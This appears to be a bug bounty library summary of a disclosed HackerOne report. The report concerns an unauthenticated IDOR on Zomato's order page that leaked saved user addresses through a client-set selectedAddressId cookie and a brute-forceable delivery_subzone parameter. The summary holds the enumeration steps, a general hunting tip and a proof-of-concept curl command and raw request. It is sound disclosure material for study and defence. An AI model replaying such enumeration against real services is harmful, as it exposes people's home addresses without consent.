# Possible to enumerate Addresses of users using AddressId and guessing the delivery_subzone

Unauthenticated IDOR via selectedAddressId cookie on Zomato order page leaks full user addresses when paired with correct delivery_subzone, with no rate limiting.

- Payout: $1,500
- Severity: medium
- Program: Eternal
- Found by: bigbug
- Disclosed: 2020-07-15
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/514897
- Library page: https://bugbountylibrary.com/r/h1%3A514897
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:medium technique:recon vuln:access-control vuln:idor vuln:info-disclosure

**Target:** www.zomato.com /order-food-online endpoint (selectedAddressId cookie)
**Root cause:** Server trusts client-supplied selectedAddressId cookie to look up and render a saved address without verifying ownership, only gating full-address disclosure on matching delivery_subzone.
**Steps:**
1. Send `GET /mumbai/order-food-online?delivery_subzone=1050` with header `Cookie: selectedAddressId=<victim_id>`
2. No authentication required; server returns full address if subzone matches
3. Brute-force delivery_subzone values since no rate limiting exists
4. Enumerate address IDs to harvest full addresses
**How found:** Noticed the order page rendered the full saved address sourced from the selectedAddressId cookie, then observed the server only returns full address when delivery_subzone matches, prompting testing of arbitrary IDs and subzone guessing.
**Exploitation:** Attacker sets selectedAddressId cookie to arbitrary victim address IDs and iterates delivery_subzone values (no auth, no rate limit) until the server returns the full address instead of just geo-location.
**Insight:** When a page renders user-specific data from a client-controlled cookie (not session), test swapping the cookie value across accounts and probe which secondary parameter gates full disclosure — that gate is often brute-forceable.

## Proof of concept (copied exactly from the original report)

**Curl request fetching victim address via cookie**

```
curl "https://www.zomato.com/mumbai/order-food-online?delivery_subzone=1050" -H "Host: www.zomato.com" -H "User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "Accept-Language: en-US,en;q=0.5" --compressed -H "Referer: https://www.zomato.com" -H "Cookie: selectedAddressId=██████;" -H "Connection: keep-alive"
```

**Raw HTTP request with selectedAddressId cookie**

```
:method: GET
:path: /mumbai/order-food-online?delivery_subzone=10159
:authority: www.zomato.com
:scheme: https
user-agent: Mozilla/5.0 (Windows NT 6.3; rv:46.0) Gecko/20100101 Firefox/46.0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
accept-language: en-US,en;q=0.5
accept-encoding: gzip, deflate, br
referer: https://www.zomato.com
cookie: selectedAddressId=████████
```

